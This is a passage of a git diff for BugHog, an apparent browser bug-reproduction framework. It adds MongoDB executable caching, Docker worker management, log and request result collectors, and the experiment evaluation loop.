datetime.datetime.now()}}, + ) + if not os.path.exists(executable_folder_path): + os.mkdir(executable_folder_path) + + def write_from_db(file_path: str, grid_file_id: str) -> None: + grid_file = fs.get(grid_file_id) + os.makedirs(os.path.dirname(file_path), exist_ok=True) + with open(file_path, 'wb') as file: + file.write(grid_file.read()) + os.chmod(file_path, 0o744) + + grid_cursor = files_collection.find(query) + fs = MongoDB().gridfs + start_time = time.time() + with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor: + for grid_doc in grid_cursor: + file_path = os.path.join(executable_folder_path, grid_doc['relative_file_path']) + grid_file_id = grid_doc['_id'] + executor.submit(write_from_db, file_path, grid_file_id) + + executor.shutdown(wait=True) + elapsed_time = time.time() - start_time + logger.debug(f'Fetched cached executable in {elapsed_time:.2f}s') + return True + + @staticmethod + def store_executable_files(subject_config: SubjectConfiguration, state_name: str, executable_folder_path: str): + """ + Stores the files in the folder of the given path in the database. + + :param subject_config: The evaluation subject configuration. + :param state: The state of the executable. + :param executable_path: The path to the executable. + :return: True if the executable was stored, False otherwise. + """ + if MongoDB().executable_cache_limit <= 0: + return False + + while ExecutableCache.__count_cached_executables() >= MongoDB().executable_cache_limit: + if ExecutableCache.__count_cached_executables(state_type='commit') <= 0: + # There are only version binaries in the cache, which will never be removed + return False + ExecutableCache.__remove_least_used_commit_executable_files() + + logger.debug(f'Caching executable files for {state_name}...') + fs = MongoDB().gridfs + + last_access_ts = datetime.datetime.now() + + def store_file(file_path: str) -> None: + # Max chunk size is 16 MB (meta-data included) + chunk_size = 1024 * 1024 * 15 + with open(file_path, 'rb') as file: + file_id = fs.new_file( + file_type='executable', + subject_type=subject_config.subject_type, + subject_name=subject_config.subject_name, + state_name=state_name, + relative_file_path=os.path.relpath(file_path, executable_folder_path), + access_count=0, + last_access_ts=last_access_ts, + chunk_size=chunk_size, + ) + while chunk := file.read(chunk_size): + file_id.write(chunk) + file_id.close() + + start_time = time.time() + with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor: + futures = [] + for root, _, files in os.walk(executable_folder_path): + for file in files: + file_path = os.path.join(root, file) + future = executor.submit(store_file, file_path) + futures.append(future) + logger.debug(f'Number of files to cache: {len(futures)}') + executor.shutdown(wait=True) + + futures_with_exception = [future for future in futures if future.exception() is not None] + if futures_with_exception: + logger.error( + ( + f'Something went wrong caching executable files for {state_name}, ' + 'Removing possibly imcomplete executable files from cache.' + ), + exc_info=futures_with_exception[0].exception(), + ) + ExecutableCache.remove_commit_executable_files(subject_config.subject_type, subject_config.subject_name, state_name) + logger.debug(f'Removed possibly incomplete cached executable files for {state_name}.') + else: + elapsed_time = time.time() - start_time + logger.debug(f'Stored executable in {elapsed_time:.2f}s') + + @staticmethod + def __count_cached_executables(state_type: Optional[str] = None) -> int: + """ + Counts the number of cached binaries in the database. + + :param state_type: The type of the state. + :return: The number of cached binaries. + """ + files_collection = MongoDB().get_collection('fs.files') + if state_type: + query = {'file_type': 'executable', 'state_type': state_type} + else: + query = {'file_type': 'executable'} + return len(files_collection.find(query).distinct('state_index')) + + @staticmethod + def __remove_least_used_commit_executable_files() -> None: + """ + Removes the least used commit executable files from the database. + """ + files_collection = MongoDB().get_collection('fs.files') + + grid_cursor = files_collection.find( + {'file_type': 'executable', 'state_type': 'commit'}, + sort=[('access_count', 1), ('last_access_ts', 1)], + ) + for state_doc in grid_cursor: + state_name = state_doc['state_name'] + subject_type = state_doc['subject_type'] + subject_name = state_doc['subject_name'] + ExecutableCache.remove_commit_executable_files(subject_type, subject_name, state_name) + break + + @staticmethod + def remove_commit_executable_files(subject_type: str, subject_name: str, state_name: str) -> None: + """ + Removes the executable files associated with the parameters. + """ + logger.info(f'Removing cached executable files for {subject_type}. {subject_name}. {state_name}.') + + fs = MongoDB().gridfs + files_collection = MongoDB().get_collection('fs.files') + + query = { + 'file_type': 'executable', + 'state_name': state_name, + 'subject_type': subject_type, + 'subject_name': subject_name, + } + for grid_doc in files_collection.find(query): + logger.debug(f'Removing cached executable file: {grid_doc["relative_file_path"]}') + fs.delete(grid_doc['_id']) diff --git a/bughog/database/mongo/mongodb.py b/bughog/database/mongo/mongodb.py new file mode 100644 index 00000000..ad0994be --- /dev/null +++ b/bughog/database/mongo/mongodb.py @@ -0,0 +1,393 @@ +from __future__ import annotations + +import logging +from datetime import datetime, timezone +from typing import Optional + +from gridfs import GridFS +from pymongo import ASCENDING, MongoClient +from pymongo.collection import Collection +from pymongo.database import Database +from pymongo.errors import ServerSelectionTimeoutError + +from bughog.evaluation.experiment_result import ExperimentResult +from bughog.parameters import ( + DatabaseParameters, + EvaluationParameters, + SubjectConfiguration, +) +from bughog.version_control.state.base import ShallowState, State + +logger = logging.getLogger(__name__) + + +def singleton(class_): + instances = {} + + def get_instance(*args, **kwargs): + if class_ not in instances: + instances[class_] = class_(*args, **kwargs) + return instances[class_] + + return get_instance + + +@singleton +class MongoDB: + instance = None + executable_cache_limit = 0 + + binary_availability_collection_names = { + 'chromium': 'chromium_binary_availability', + 'firefox': 'firefox_binary_availability', + } + + def __init__(self): + self.client: Optional[MongoClient] = None + self._db: Optional[Database] = None + + def connect(self, db_params: DatabaseParameters) -> None: + assert db_params is not None + + self.client = MongoClient( + host=db_params.host, + port=27017, + username=db_params.username, + password=db_params.password, + authsource=db_params.database_name, + retryWrites=False, + serverSelectionTimeoutMS=10000, + ) + self.executable_cache_limit = db_params.executable_cache_limit + logger.info(f'Executable cache limit set to {db_params.executable_cache_limit}') + # Force connection to check whether MongoDB server is reachable + try: + self.client.server_info() + self._db = self.client[db_params.database_name] + logger.info('Connected to database!') + except ServerSelectionTimeoutError as e: + logger.info('A timeout occurred while attempting to establish connection.', exc_info=True) + raise ServerException from e + + # Initialize collections + self.__initialize_collections() + + def disconnect(self): + if self.client: + self.client.close() + self.client = None + self._db = None + + def __initialize_collections(self): + if self._db is None: + raise + + for collection_name in ['chromium_binary_availability']: + if collection_name not in self._db.list_collection_names(): + self._db.create_collection(collection_name) + + # Binary cache + if 'fs.files' not in self._db.list_collection_names(): + # Create the 'fs.files' collection with indexes + self._db.create_collection('fs.files') + self._db['fs.files'].create_index( + ['state_type', 'subject_type', 'subject_name', 'state_name', 'relative_file_path'], unique=True + ) + if 'fs.chunks' not in self._db.list_collection_names(): + # Create the 'fs.chunks' collection with zstd compression + self._db.create_collection( + 'fs.chunks', storageEngine={'wiredTiger': {'configString': 'block_compressor=zstd'}} + ) + self._db['fs.chunks'].create_index(['files_id', 'n'], unique=True) + + # Commit cache + if 'firefox_binary_availability' not in self._db.list_collection_names(): + self._db.create_collection('firefox_binary_availability') + self._db['firefox_binary_availability'].create_index([('revision_number', ASCENDING)]) + self._db['firefox_binary_availability'].create_index(['node']) + if 'firefox_release_base_revs' not in self._db.list_collection_names(): + self._db.create_collection('firefox_release_base_revs') + if 'chromium_release_base_revs' not in self._db.list_collection_names(): + self._db.create_collection('chromium_release_base_revs') + if 'commit_pos' not in self._db.list_collection_names(): + self._db.create_collection('commit_pos') + self._db['commit_pos'].create_index([('pos', ASCENDING), ('subject')]) + self._db['commit_pos'].create_index([('hash'), ('subject')]) + self._db['commit_pos'].create_index([('version_tag_of_forked_release_branch'), ('subject')]) + + def get_collection(self, name: str, create_if_not_found: bool = False) -> Collection: + if self._db is None: + raise ServerException('Database server does not have a database') + if name not in self._db.list_collection_names(): + if create_if_not_found: + return self._db.create_collection(name) + else: + raise ServerException(f"Could not find collection '{name}'") + return self._db[name] + + def get_cache_collection(self, subject_type: str) -> Collection: + if self._db is None: + raise ServerException('Database server does not have a database') + collection_name = f'{subject_type}_cache' + if collection_name not in self._db.list_collection_names(): + return self._db.create_collection(collection_name) + return self._db[collection_name] + + @property + def gridfs(self) -> GridFS: + if self._db is None: + raise ServerException('Database server does not have a database') + return GridFS(self._db) + + def store_result(self, eval_params: EvaluationParameters, result: ExperimentResult): + """ + Upserts the result. + """ + subject_config = eval_params.subject_configuration + eval_params = eval_params + collection = self.__get_data_collection(eval_params) + query = { + 'subject_version': result.executable_version, + 'executable_origin': result.executable_origin, + 'padded_subject_version': result.padded_subject_version, + 'subject_config': subject_config.subject_setting, + 'cli_options': subject_config.cli_options, + 'extensions': subject_config.extensions, + 'state': result.state, + 'project': eval_params.evaluation_range.project_name, + 'experiment': eval_params.evaluation_range.experiment_name, + } + # if browser_config.subject_name == 'firefox': + # build_id = self.get_build_id_firefox(result.params.state) + # if build_id is None: + # query['artisanal'] = True + # query['build_id'] = 'artisanal' + # else: + # query['build_id'] = build_id + update = { + '$set': { + 'result.raw': result.raw_results, + 'result.variables': [list(item) for item in result.result_variables], + 'dirty': result.is_dirty, + 'ts': str(datetime.now(timezone.utc).replace(microsecond=0)), + }, + '$inc': { + 'result.attempt': 1, + }, + } + collection.update_one(query, update, upsert=True) + + def get_result(self, params: EvaluationParameters, state: ShallowState) -> Optional[ExperimentResult]: + collection = self.__get_data_collection(params) + query = self.__to_experiment_query(params, state) + doc = collection.find_one(query) + if doc: + return ExperimentResult( + doc['executable_version'], + doc['executable_origin'], + doc['state'], + doc['result']['raw'], + set(tuple(item) for item in doc['result']['variables']), + doc['dirty'], + ) + else: + logger.error(f'Could not find document for query {query}.') + return None + + def has_result(self, params: EvaluationParameters, state: ShallowState) -> bool: + collection = self.__get_data_collection(params) + query = self.__to_experiment_query(params, state) + nb_of_documents = collection.count_documents(query) + return nb_of_documents > 0 + + def get_evaluated_states( + self, + params: EvaluationParameters, + boundary_states: Optional[tuple[State, State]], + dirty: Optional[bool] = None, + ) -> list[State]: + collection = self.__get_data_collection(params) + query = { + 'project': params.evaluation_range.project_name, + 'subject_config': params.subject_configuration.subject_setting, + 'experiment': params.evaluation_range.experiment_name, + 'result': {'$exists': True}, + 'state.type': 'release' if params.evaluation_range.only_release_commits else 'commit', + } + if boundary_states is not None: + query['state.commit_nb'] = { + '$gte': boundary_states[0].commit_nb, + '$lte': boundary_states[1].commit_nb, + } + if params.subject_configuration.extensions: + query['extensions'] = { + '$size': len(params.subject_configuration.extensions), + '$all': params.subject_configuration.extensions, + } + else: + query['extensions'] = [] + if params.subject_configuration.cli_options: + query['cli_options'] = { + '$size': len(params.subject_configuration.cli_options), + '$all': params.subject_configuration.cli_options, + } + else: + query['cli_options'] = [] + if dirty is not None: + query['dirty'] = dirty + cursor = collection.find(query) + states = [] + for doc in cursor: + subject_type = params.subject_configuration.subject_type + subject_name = params.subject_configuration.subject_name + state = State.from_dict(subject_type, subject_name, doc['state']) + state.result_variables = set(tuple(item) for item in doc['result']['variables']) + state.result_attempt = doc['result'].get('attempt', 1) + states.append(state) + return states + + def __to_experiment_query(self, params: EvaluationParameters, state: ShallowState) -> dict: + state_query = {'state.' + k: v for k, v in state.dict.items()} + query = { + 'project': params.evaluation_range.project_name, + 'subject_config': params.subject_configuration.subject_setting, + 'experiment': params.evaluation_range.experiment_name, + } + query.update(state_query) + if len(params.subject_configuration.extensions) > 0: + query['extensions'] = { + '$size': len(params.subject_configuration.extensions), + '$all': params.subject_configuration.extensions, + } + else: + query['extensions'] = [] + if len(params.subject_configuration.cli_options) > 0: + query['cli_options'] = { + '$size': len(params.subject_configuration.cli_options), + '$all': params.subject_configuration.cli_options, + } + else: + query['cli_options'] = [] + return query + + def __get_data_collection(self, eval_params: EvaluationParameters) -> Collection: + """ + Returns the data collection, of which the name is formatted as '{subject_type}_{subject_name}'. + """ + collection_name = ( + f'{eval_params.subject_configuration.subject_type}_{eval_params.subject_configuration.subject_name}' + ) + return self.get_collection(collection_name, create_if_not_found=True) + + def get_binary_availability_collection(self, subject_config: SubjectConfiguration) -> Collection: + collection_name = f'{subject_config.subject_type}_executable_availability' + return self.get_collection(collection_name, create_if_not_found=True) + + # Caching of online executable availability + + def get_stored_binary_availability(self, subject_config: SubjectConfiguration): + collection = MongoDB().get_binary_availability_collection(subject_config) + result = collection.find( + {'executable_online': True}, + { + '_id': False, + 'state': True, + }, + ) + if subject_config.subject_name == 'firefox': + result.sort('build_id', -1) + return result + + def get_documents_for_plotting(self, params: EvaluationParameters, releases: bool = False) -> list: + collection = self.__get_data_collection(params) + + evaluation_range = params.evaluation_range + subject_config = params.subject_configuration + + query = { + 'project': evaluation_range.project_name, + 'experiment': evaluation_range.experiment_name, + 'subject_config': subject_config.subject_setting, + 'state.type': 'release' if releases else 'commit', + 'extensions': {'$size': len(subject_config.extensions) if subject_config.extensions else 0}, + 'cli_options': {'$size': len(subject_config.cli_options) if subject_config.cli_options else 0}, + } + if subject_config.extensions: + query['extensions']['$all'] = subject_config.extensions + if subject_config.cli_options: + query['cli_options']['$all'] = subject_config.cli_options + if evaluation_range.commit_nb_range: + query['state.commit_nb'] = { + '$gte': evaluation_range.commit_nb_range[0], + '$lte': evaluation_range.commit_nb_range[1], + } + elif evaluation_range.major_version_range: + query['padded_subject_version'] = { + '$gte': str(evaluation_range.major_version_range[0]).zfill(4), + '$lte': str(evaluation_range.major_version_range[1] + 1).zfill(4), + } + docs = collection.aggregate( + [ + {'$match': query}, + { + '$project': { + '_id': False, + 'state': True, + 'subject_version': True, + 'dirty': True, + 'result.variables': True, + } + }, + {'$sort': {'state.commit_nb': 1}}, + ] + ) + return list(docs) + + def remove_datapoint(self, params: EvaluationParameters, state: ShallowState) -> None: + collection = self.__get_data_collection(params) + query = self.__to_experiment_query(params, state) + count = collection.delete_one(query) + if count.deleted_count == 0: + logger.error(f'Could not remove datapoint for {state}.') + else: + logger.debug(f'Removed datapoint for {state}.') + + def remove_all_data_for(self, params_list: list[EvaluationParameters]) -> None: + for params in params_list: + collection = self.__get_data_collection(params) + collection.delete_many( + { + 'project': params.evaluation_range.project_name, + 'experiment': params.evaluation_range.experiment_name, + } + ) + + def remove_all_data_from_collection(self, collection_name: str) -> None: + collection = self.get_collection(collection_name) + collection.delete_many({}) + + def get_info(self) -> dict: + if self.client and self.client.address: + return {'type': 'mongo', 'host': self.client.address[0], 'connected': True} + else: + return {'type': 'mongo', 'host': None, 'connected': False} + + # def get_previous_cli_options(self, params: dict) -> list[str]: + # """ + # Returns a list of all cli options used for the browser defined in the given parameter dictionary. + # """ + # previous_cli_options = [] + # collection = self.__get_data_collection(params) + # cursor = collection.find( + # {'cli_options': {'$exists': True, '$not': {'$size': 0}}}, {'_id': False, 'cli_options': True} + # ) + # # We convert to tuples because they are, in contrast to lists, hashable. + # cli_options_list = set(' '.join(doc['cli_options']) for doc in cursor) + # if cli_options_list: + # previous_cli_options.extend(list(filter(lambda x: x not in previous_cli_options, cli_options_list))) + # previous_cli_options.sort() + # return previous_cli_options + + +class ServerException(Exception): + pass diff --git a/bci/distribution/worker_manager.py b/bughog/distribution/worker_manager.py similarity index 56% rename from bci/distribution/worker_manager.py rename to bughog/distribution/worker_manager.py index 3390a1cc..4a8869aa 100644 --- a/bci/distribution/worker_manager.py +++ b/bughog/distribution/worker_manager.py @@ -7,41 +7,45 @@ import docker import docker.errors -from bci import worker -from bci.configuration import Global -from bci.evaluations.logic import WorkerParameters -from bci.web.clients import Clients +from bughog import configuration, worker +from bughog.parameters import EvaluationParameters +from bughog.version_control.state.base import State +from bughog.web.clients import Clients logger = logging.getLogger(__name__) class WorkerManager: - def __init__(self, max_nb_of_containers: int) -> None: - self.max_nb_of_containers = max_nb_of_containers + def __init__(self, eval_params: EvaluationParameters) -> None: + self.max_nb_of_containers = eval_params.sequence_configuration.nb_of_containers if self.max_nb_of_containers == 1: logger.info('Running in single container mode') else: - self.container_id_pool = Queue(maxsize=max_nb_of_containers) - for i in range(max_nb_of_containers): + self.container_id_pool = Queue(maxsize=self.max_nb_of_containers) + for i in range(self.max_nb_of_containers): self.container_id_pool.put(i) self.client = docker.from_env() + subject_type = eval_params.subject_configuration.subject_type + subject_name = eval_params.subject_configuration.subject_name + self.worker_image_ref = self.__get_worker_image_ref(subject_type, subject_name) - def start_test(self, params: WorkerParameters, blocking_wait=True) -> None: + def start_experiment(self, params: EvaluationParameters, state: State, blocking_wait=True) -> None: if self.max_nb_of_containers != 1: - return self.__run_container(params, blocking_wait) + return self.__run_container(params, state, blocking_wait) # Single container mode - worker.run(params) + worker.run(params, state) Clients.push_results_to_all() - def __run_container(self, params: WorkerParameters, blocking_wait=True) -> None: + def __run_container(self, params: EvaluationParameters, state: State, blocking_wait=True) -> None: while blocking_wait and self.get_nb_of_running_worker_containers() >= self.max_nb_of_containers: - time.sleep(5) + time.sleep(1) container_id = self.container_id_pool.get() container_name = f'bh_worker_{container_id}' def start_container_thread(): + # TODO: Add timeout. Logs show that sometimes containers hang forever upon executable download. if (host_pwd := os.getenv('HOST_PWD', None)) is None: raise AttributeError('Could not find HOST_PWD environment var') try: @@ -60,65 +64,65 @@ def start_container_thread(): break # Remove all containers with same name (never higher than 1 in practice) for container in active_containers: - logger.info(f'Removing old container \'{container.attrs["Name"]}\' to start new one') + logger.info(f"Removing old container '{container.attrs['Name']}' to start new one") container.remove(force=True) except docker.errors.APIError: - logger.error("Could not consult list of active containers", exc_info=True) + logger.error('Could not consult list of active containers', exc_info=True) container = None try: container = self.client.containers.run( - f'bughog/worker:{Global.get_tag()}', + self.worker_image_ref, name=container_name, hostname=container_name, - shm_size='2gb', network='bh_net', mem_limit='4g', # To prevent one container from consuming multiple gigs of memory (was the case for a Firefox evaluation) - mem_reservation='2g', detach=True, labels=['bh_worker'], - command=[params.serialize()], + command=[params.serialize(), state.serialize()], volumes=[ os.path.join(host_pwd, 'config') + ':/app/config:ro', - os.path.join(host_pwd, 'browser/binaries/chromium/artisanal') - + ':/app/browser/binaries/chromium/artisanal:rw', - os.path.join(host_pwd, 'browser/binaries/firefox/artisanal') - + ':/app/browser/binaries/firefox/artisanal:rw', - os.path.join(host_pwd, 'experiments') + ':/app/experiments:ro', - os.path.join(host_pwd, 'browser/extensions') + ':/app/browser/extensions:ro', + os.path.join(host_pwd, 'subject') + ':/app/subject:rw', os.path.join(host_pwd, 'logs') + ':/app/logs:rw', os.path.join(host_pwd, 'nginx/ssl') + ':/etc/nginx/ssl:ro', - '/dev/shm:/dev/shm', ], + tmpfs={'/memory': 'exec,size=3g,mode=1777'}, ) result = container.wait() - if result["StatusCode"] != 0: + if result['StatusCode'] != 0: + # Assign dirty result to state associated with crashed container. + logger.debug(f'Assigning dirty result to {state} associated with crashed container.') + state.result_variables = set() logger.error( f"'{container_name}' exited unexpectedly with status code {result['StatusCode']}. " - "Check the worker logs in ./logs/ for more information." + 'Check the worker logs in ./logs/ for more information.' ) else: - logger.debug(f"Container '{container_name}' finished experiments for '{params.state}'") + logger.debug(f"Container '{container_name}' finished experiments for '{state}'") Clients.push_results_to_all() except docker.errors.APIError: - logger.error("Received a docker error", exc_info=True) + logger.error('Received a docker error', exc_info=True) except docker.errors.ContainerError: logger.error( f"Could not run container '{container_name}' or container was unexpectedly removed", exc_info=True ) if container is not None: - container_info = container.attrs["State"] + container_info = container.attrs['State'] logger.error(f"'{container_name}' exited unexpectedly with {container_info}", exc_info=True) - finally: + + try: if container is not None: container.remove() + except docker.errors.APIError: + logger.warning('Error received while removing container, likely because it was already being removed.') + finally: self.container_id_pool.put(container_id) thread = threading.Thread(target=start_container_thread) thread.start() - logger.info(f"Container '{container_name}' started experiments for '{params.state}'") - # Sleep to avoid all workers downloading browser binaries at once, clogging up all IO. - time.sleep(5) + logger.info(f"Container '{container_name}' started experiments for '{state}'") + # Sleep to avoid all workers downloading executables at once, clogging up all IO. + time.sleep(.1) def get_nb_of_running_worker_containers(self): return len(self.get_runnning_containers()) @@ -141,3 +145,26 @@ def wait_until_all_evaluations_are_done(self): def forcefully_stop_all_running_containers(): for container in WorkerManager.get_runnning_containers(): container.remove(force=True) + + def __get_worker_image_ref(self, subject_type: str, subject_name: str) -> str: + """ + Returns the worker image's reference. + """ + subject_type_ref = f'bughog/worker-{subject_type}:{configuration.get_tag()}' + if self.__pull_worker_image(subject_type_ref): + return subject_type_ref + + subject_name_ref = f'bughog/worker-{subject_name}:{configuration.get_tag()}' + if self.__pull_worker_image(subject_name_ref): + return subject_name_ref + + return f'bughog/worker:{configuration.get_tag()}' + + def __pull_worker_image(self, image_ref: str) -> bool: + try: + _ = self.client.images.pull(image_ref) + return True + except docker.errors.ImageNotFound: + return False + except docker.errors.APIError: + return False diff --git a/bci/browser/binary/__init__.py b/bughog/evaluation/__init__.py similarity index 100% rename from bci/browser/binary/__init__.py rename to bughog/evaluation/__init__.py diff --git a/bughog/evaluation/collectors/base.py b/bughog/evaluation/collectors/base.py new file mode 100644 index 00000000..0dfb167c --- /dev/null +++ b/bughog/evaluation/collectors/base.py @@ -0,0 +1,56 @@ +import logging +import re +from abc import ABC, abstractmethod +from typing import Optional + +logger = logging.getLogger(__name__) + + +class BaseCollector(ABC): + def __init__(self) -> None: + self.data = {} + self.expected_output_regex = None + self.unexpected_output_regex = None + + @abstractmethod + def start(self): + pass + + @abstractmethod + def stop(self): + pass + + @abstractmethod + def parse_data(self): + pass + + @property + @abstractmethod + def raw_data(self) -> dict[str,list]: + pass + + @property + @abstractmethod + def result_variables(self) -> set[tuple[str,str]]: + pass + + def set_expected_output_regex(self, regex: Optional[str]) -> None: + if self.unexpected_output_regex: + logger.error('Ignoring expected output regex because unexpected output regex is already set.') + else: + self.expected_output_regex = regex + + def set_unexpected_output_regex(self, regex: Optional[str]) -> None: + if self.expected_output_regex: + logger.error('Ignoring unexpected output regex because expected output regex is already set.') + else: + self.unexpected_output_regex = regex + + def _parse_for_expected_output(self, data) -> None: + assert not (self.expected_output_regex and self.unexpected_output_regex) + if self.expected_output_regex: + if [line for line in self.data['logs'] if re.search(self.expected_output_regex, line)]: + data.add(('reproduced', 'ok')) + elif self.unexpected_output_regex: + if not [line for line in self.data['logs'] if re.search(self.unexpected_output_regex, line)]: + data.add(('reproduced', 'ok')) diff --git a/bughog/evaluation/collectors/collector.py b/bughog/evaluation/collectors/collector.py new file mode 100644 index 00000000..6e3f37ee --- /dev/null +++ b/bughog/evaluation/collectors/collector.py @@ -0,0 +1,37 @@ +import logging +from typing import Optional + +from bughog.evaluation.collectors.base import BaseCollector + +logger = logging.getLogger(__name__) + + +class Collector: + def __init__(self, subcollectors: list[BaseCollector]) -> None: + self.subcollectors = subcollectors + logger.debug(f'Using {len(self.subcollectors)} result collectors') + + def start(self): + for collector in self.subcollectors: + collector.start() + + def stop(self): + for collector in self.subcollectors: + collector.stop() + + def set_expected_output_regex(self, regex: Optional[str]): + for collector in self.subcollectors: + collector.set_expected_output_regex(regex) + + def set_unexpected_output_regex(self, regex: Optional[str]): + for collector in self.subcollectors: + collector.set_unexpected_output_regex(regex) + + def collect_results(self) -> tuple[dict,set[tuple[str,str]]]: + raw_results = {} + result_variables = set() + for collector in self.subcollectors: + collector.parse_data() + raw_results.update(collector.raw_data) + result_variables.update(collector.result_variables) + return raw_results, result_variables diff --git a/bughog/evaluation/collectors/logs.py b/bughog/evaluation/collectors/logs.py new file mode 100644 index 00000000..5e2370c2 --- /dev/null +++ b/bughog/evaluation/collectors/logs.py @@ -0,0 +1,45 @@ +import re + +from .base import BaseCollector + + +class LogCollector(BaseCollector): + log_path = '/tmp/bughog_eval.log' + + def __init__(self) -> None: + super().__init__() + self.data['logs'] = [] + self.data['log_vars'] = set() + + def start(self): + with open(self.log_path, 'w') as file: + file.write('') + + def stop(self): + pass + + def parse_data(self): + data = set() + # Only consider lines matching the pattern bughog_=. + # Here, and can contain alphanumeric characters and underscores. + regex = r'bughog_([a-zA-Z0-9_-]+)=([a-zA-Z0-9_-]+)' + with open(self.log_path, 'r+') as log_file: + self.data['logs'] = [line.strip() for line in log_file.readlines()] + regex_match_lists = [re.findall(regex, line) for line in self.data['logs'] if re.search(regex, line)] + # Flatten list + regex_matches = [regex_match for regex_match_list in regex_match_lists for regex_match in regex_match_list] + for match in regex_matches: + var = match[0] + val = match[1] + data.add((var, val)) + + self._parse_for_expected_output(data) + self.data['log_vars'] = data + + @property + def raw_data(self) -> dict[str,list]: + return {'logs': self.data['logs']} + + @property + def result_variables(self) -> set[tuple[str, str]]: + return self.data['log_vars'] diff --git a/bci/evaluations/collectors/requests.py b/bughog/evaluation/collectors/requests.py similarity index 89% rename from bci/evaluations/collectors/requests.py rename to bughog/evaluation/collectors/requests.py index 5566340a..6ba5d029 100644 --- a/bci/evaluations/collectors/requests.py +++ b/bughog/evaluation/collectors/requests.py @@ -46,7 +46,6 @@ def do_POST(self): body = self.rfile.read(content_length) self.request_body = body.decode('utf-8') - # Because of our hacky NGINX methodology, we have to allow premature socket closings. try: self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') @@ -62,7 +61,7 @@ def __init__(self): self.__httpd = None self.__thread = None self.data['requests'] = [] - self.data['req_vars'] = [] + self.data['req_vars'] = set() def start(self): logger.debug('Starting collector...') @@ -94,4 +93,13 @@ def parse_data(self): for key, values in parsed_query.items() if key.startswith('bughog_') ) - self.data['req_vars'] = [{'var': pair[0], 'val': pair[1]} for pair in request_variables] + self.data['req_vars'] = set((pair[0], pair[1]) for pair in request_variables) + self._parse_for_expected_output(parsed_queries) + + @property + def raw_data(self) -> dict[str,list]: + return {'requests': self.data['requests']} + + @property + def result_variables(self) -> set[tuple[str, str]]: + return self.data['req_vars'] diff --git a/bughog/evaluation/evaluation.py b/bughog/evaluation/evaluation.py new file mode 100644 index 00000000..7a335df1 --- /dev/null +++ b/bughog/evaluation/evaluation.py @@ -0,0 +1,119 @@ +import logging +import time + +from bughog.database.mongo.mongodb import MongoDB +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.experiment_result import ExperimentResult +from bughog.evaluation.interaction import Interaction +from bughog.parameters import EvaluationParameters +from bughog.subject import factory +from bughog.subject.executable import Executable, ExecutableStatus +from bughog.subject.simulation import Simulation +from bughog.version_control.state.base import State + +logger = logging.getLogger(__name__) + + +class Evaluation: + def __init__(self, subject_type: str): + self.subject_type = subject_type + self.experiments = factory.create_experiments(subject_type) + self.should_stop = False + + def evaluate(self, params: EvaluationParameters, state: State, is_worker=False): + if MongoDB().has_result(params, state.to_shallow_state()): + logger.warning( + f"Experiment '{params.evaluation_range.experiment_name}' for '{state}' was already performed, skipping." + ) + return + + subject = factory.get_subject_from_params(params) + + experiment_folder = self.experiments.get_experiment_folder(params) + executable = subject.create_executable(params.subject_configuration, state) + runtime_flags = self.experiments.framework.get_runtime_flags(experiment_folder) + runtime_env_vars = self.experiments.framework.get_runtime_env_vars(experiment_folder) + runtime_args = self.experiments.framework.get_runtime_args(experiment_folder) + + collector = subject.create_result_collector() + + if regex := self.experiments.framework.get_expected_output_regex(experiment_folder): + collector.set_expected_output_regex(regex) + if regex := self.experiments.framework.get_unexpected_output_regex(experiment_folder): + collector.set_unexpected_output_regex(regex) + + executable.add_runtime_flags(runtime_flags) + executable.add_runtime_env_vars(runtime_env_vars) + executable.add_runtime_args(runtime_args) + + simulation = subject.create_simulation(executable, experiment_folder, params) + script = self.experiments.get_interaction_script(experiment_folder) + + if self.should_stop: + self.should_stop = False + return + try: + executable.pre_experiment_setup() + result = self.conduct_experiment(executable, simulation, collector, script) + MongoDB().store_result(params, result) + except Exception as e: + executable.status = ExecutableStatus.EXPERIMENT_FAILED + raise e + finally: + executable.post_experiment_cleanup() + + def conduct_experiment( + self, executable: Executable, simulation: Simulation, collector: Collector, script: list[str] + ) -> ExperimentResult: + is_dirty = False + tries_left = 3 + collector.start() + poc_was_reproduced = False + intermediary_variables = None + + # Perform experiment with retries + logger.info(f'Starting experiment for {executable.state}.') + start_time = time.time() + while not poc_was_reproduced and tries_left > 0: + tries_left -= 1 + executable.pre_try_setup() + try: + Interaction(script).do_experiment(simulation) + except Exception as e: + logger.error(f'An error during the experiment: {e}', exc_info=True) + is_dirty = True + executable.post_try_cleanup() + _, intermediary_variables = collector.collect_results() + poc_was_reproduced = ExperimentResult.poc_is_reproduced(intermediary_variables) + collector.stop() + raw_results, result_variables = collector.collect_results() + + # Perform sanity check if not reproduced and potential in-poc sanity check did not succeed + if self.experiments.framework.requires_sanity_check() and ( + intermediary_variables is None or ExperimentResult.poc_is_dirty(intermediary_variables) + ): + collector.start() + executable.pre_try_setup() + try: + Interaction(script).do_sanity_check(simulation) + except Exception as e: + logger.error(f'An error during the sanity check: {e}', exc_info=True) + executable.post_try_cleanup() + collector.stop() + _, sanity_check_variables = collector.collect_results() + if not ExperimentResult.poc_passed_sanity_check(sanity_check_variables): + is_dirty = True + result_variables.update(sanity_check_variables) + + elapsed_time = time.time() - start_time + logger.info(f'Experiment for {executable.state} finished in {elapsed_time:.2f}s with {tries_left} tries left.') + return ExperimentResult( + executable.version, executable.origin, executable.state.to_dict(), raw_results, result_variables, is_dirty + ) + + def stop_gracefully(self): + self.should_stop = True + + +class FailedSanityCheck(Exception): + pass diff --git a/bughog/evaluation/experiment_result.py b/bughog/evaluation/experiment_result.py new file mode 100644 index 00000000..706b6b6b --- /dev/null +++ b/bughog/evaluation/experiment_result.py @@ -0,0 +1,59 @@ +from dataclasses import dataclass +from typing import Optional + + +@dataclass(frozen=True) +class ExperimentResult: + executable_version: Optional[str] + executable_origin: Optional[str] + state: dict + raw_results: dict + result_variables: set[tuple[str, str]] + is_dirty: bool + + @property + def is_reproduced(self) -> bool: + return self.poc_is_reproduced(self.result_variables) + + @staticmethod + def poc_is_reproduced(result_variables: Optional[set[tuple[str,str]]]) -> bool: + if result_variables is None: + return False + for key, value in result_variables: + if key.lower() == 'reproduced' and value.lower() == 'ok': + return True + return False + + @staticmethod + def poc_passed_sanity_check(result_variables: Optional[set[tuple[str,str]]]) -> bool: + if result_variables is None: + return False + for key, value in result_variables: + if key.lower() == 'sanity_check' and value.lower() == 'ok': + return True + return False + + @staticmethod + def poc_is_dirty(result_variables: Optional[set[tuple[str,str]]]) -> bool: + """ + 